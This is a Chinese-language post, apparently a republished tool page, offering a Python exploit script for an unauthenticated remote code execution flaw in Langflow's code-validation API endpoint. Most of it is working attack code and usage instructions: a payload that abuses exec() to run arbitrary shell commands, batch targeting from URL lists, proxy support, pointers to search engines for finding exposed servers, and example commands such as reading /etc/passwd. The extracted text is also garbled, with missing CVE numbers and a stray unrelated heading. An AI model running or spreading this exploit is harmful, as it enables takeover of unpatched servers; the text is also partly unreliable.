核心内容摘要
AutoGen Studio快速部署指南:一键启动多智能体工作流
CVE-
Langflow RCE 漏洞利用工具
项目概述CVE-
是一个严重的无需认证的远程代码执行漏洞影响Langflow一个流行的用于构建LLM应用程序的低代码框架。
该漏洞源于不安全地使用了Python内置的exec()函数来评估用户提供的输入且未进行适当的清理。
这使得攻击者能够在服务器上执行任意Python代码完全控制底层系统。
CVE ID:CVE-
严重等级:严重CVSS 评分:
8EPSS 评分:
9
57%发布日期:2025年5月22日受影响版本:≤ v
1.
0已修复版本:v
1.
0功能特性 远程且无需认证的RCE:直接对Langflow的API端点进行远程代码执行无需任何身份验证。
无需认证:攻击利用过程完全绕过了认证机制。
Python3 单文件脚本:代码简洁使用Python3编写依赖项少易于执行。
彩色终端输出:使用colorama库提供清晰的彩色命令行界面增强可读性。
多目标支持:支持通过单个URL或包含多个目标URL的文件进行批量测试。
️ 代理支持:支持配置HTTP/HTTPS代理如Burp Suite方便流量拦截和调试。
信息收集参考:提供了Shodan、ZoomEye、FOFA等平台的搜索语法用于快速定位潜在的目标。
安装指南前置条件Python 版本:
x操作系统:支持Windows、Linux、macOS依赖安装该脚本主要依赖于requests和colorama库。
可以使用pip进行安装。
pipinstallrequests colorama获取脚本可以直接复制提供的CVE-2025-
py脚本内容保存为本地Python文件。
使用说明基本用法该工具通过命令行参数运行。
python3 CVE-2025-
py -u http://target:7860 -cid命令行参数详解-u, --url: 指定单个目标URL例如http://
192.
168.
100:7860。
-i, --input: 指定一个包含多个目标URL列表的文件路径每行一个URL。
-c, --cmd:必需指定要在目标系统上执行的Shell命令例如idwhoami,cat /etc/passwd。
-p, --proxy: 指定代理服务器地址例如http://
127.
0.
1:8080用于Burp Suite。
使用示例针对单个目标执行命令:python3 CVE-2025-
py -u http://victim.com:7860 -cuname -a针对多个目标执行命令批量测试:首先创建一个包含目标URL的文本文件targets.txt:http://target
com:7860 http://target
com:7860然后运行脚本:python3 CVE-2025-
py -i targets.txt -cls -la通过代理运行用于调试或流量分析:python3 CVE-2025-
py -u http://test.local:7860 -cpwd-p http://
127.
0.
1:8080受影响端点攻击针对Langflow的API端点/api/v1/validate/code。
核心代码
主执行类LangflowExploit该类封装了与目标交互的核心逻辑包括发送恶意载荷和处理响应。
classLangflowExploit:def__init__(self,url,proxyNone,timeout
:# 初始化会话设置目标URL、超时时间和代理self.urlurl.rstrip(/)self.timeouttimeout self.sessionrequests.Session()self.session.verifyFalse# 忽略SSL证书验证self.session.headers.update({User-Agent:Mozilla/
0 (mitsec),Content-Type:application/json,Accept:application/json,})ifproxy:# 配置代理self.session.proxies{http:proxy,https:proxy}defexecute(self,command):# 构建目标端点URLendpointurljoin(self.url,/api/v1/validate/code)# 核心载荷通过构造会抛出异常的exec语句在异常信息中捕获命令执行结果payload{code:f def run(cdexec(raise Exception(__import__(subprocess).check_output({command}, shellTrue)))): pass }try:print(f{Fore.YELLOW}[•] Sending exploit to:{endpoint})# 发送POST请求载荷为JSON格式responseself.session.post(endpoint,jsonpayload,timeoutself.timeout)print(f{Fore.YELLOW}[•] HTTP Status:{response.status_code})ifresponse.status_code200:# 尝试解析返回的JSON提取错误信息其中包含了命令输出try:dataresponse.json()error_msgdata.get(function,{}).get(errors,[])[0]iferror_msg.startswith(b):# 对命令输出进行解码returnerror_msg[2:-1].encode().decode(unicode_escape).strip()exceptExceptionasparse_err:returnf[!] JSON parse error:{parse_err}returnf[!] Exploit failed: HTTP{response.status_code}exceptrequests.RequestExceptionasreq_err:# 处理网络请求异常returnf[!] Request failed:{req_err}
主函数main()处理命令行参数协调整个利用流程支持单目标和批量目标。
defmain():banner()# 打印ASCII艺术横幅parserargparse.ArgumentParser(descriptionmitsec | CVE-
Langflow RCE Exploit)# 定义命令行参数parser.add_argument(-u,--url,helpTarget URL (e.g., http://host:port))parser.add_argument(-i,--input,helpFile containing list of target URLs)parser.add_argument(-c,--cmd,requiredTrue,helpCommand to execute (e.g., id, whoami))parser.add_argument(-p,--proxy,helpProxy URL (e.g., http://
127.
0.
1:8080 for Burp Suite))argsparser.parse_args()targets[]# 存储目标列表# 根据参数读取目标优先从文件读取否则使用单个URLifargs.input:try:withopen(args.input,r)asf:targets[line.strip()forlineinfifline.strip()]exceptExceptionase:print(f{Fore.RED}[!] Failed to read input file:{e})returnelifargs.url:targets[args.url]else:print(f{Fore.RED}[!] Please specify either --url or --input.)return# 遍历所有目标并执行攻击fortargetintargets:print(f{Fore.CYAN}\n[] Target:{target})exploitLangflowExploit(target,proxyargs.proxy)outputexploit.execute(args.cmd)# 执行命令print(f{Fore.GREEN}[] Command Output:\n{output})
横幅函数banner()生成并显示彩色的工具标识和信息横幅增加专业感。
defbanner():colorrandom.choice(COLORS)# 随机选择一种颜色# 打印ASCII艺术字和工具信息框包含CVE编号、作者等print(f{Style.BRIGHT}{color}█████╗ ███████╗██╗ ██╗ ██╔══██╗██╔════╝██║ ██╔╝ ███████║███████╗███████╔╝ ██╔══██║╚════██║██╔═ ██╗ ██║ ██║███████║██║ ██╗ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ASH!!! ╔══════════════════════════════════════════════════════════════════════════════════╗ ║ Exploit Title: Langflow Remote Code Execution (RCE) ║ ║ CVE ID :{Fore.REDStyle.BRIGHT}CVE-
{colorStyle.BRIGHT}║ ║ Author : B1ack4sh Black ASH ║ ║ GitHub : https://github.com/B1ack4sh ║ ╚══════════════════════════════════════════════════════════════════════════════════╝{Style.RESET_ALL})⚠️ 漏洞技术原理与免责声明漏洞原理该漏洞位于Langflow的/api/v1/validate/code端点。
后端代码推测位于类似langflow/api/builder/execute.py的文件中直接使用exec(code)执行用户传入的代码既没有输入验证也没有沙箱环境。
免责声明本工具仅用于教育、安全研究和授权测试。
严禁将其用于任何未经授权的系统。
使用者需自行承担所有责任。
开发者和贡献者不对任何滥用行为负责。
在测试任何系统之前请确保您已获得明确的所有者许可。
FINISHED6HFtX5dABrKlqXeO5PUv/84SoIoTE3firf/5vX8AZ4O0LUJzubeXR3Uhsyi1DNO更多精彩内容 请关注我的个人公众号 公众号办公AI智能小助手对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号网络安全技术点滴分享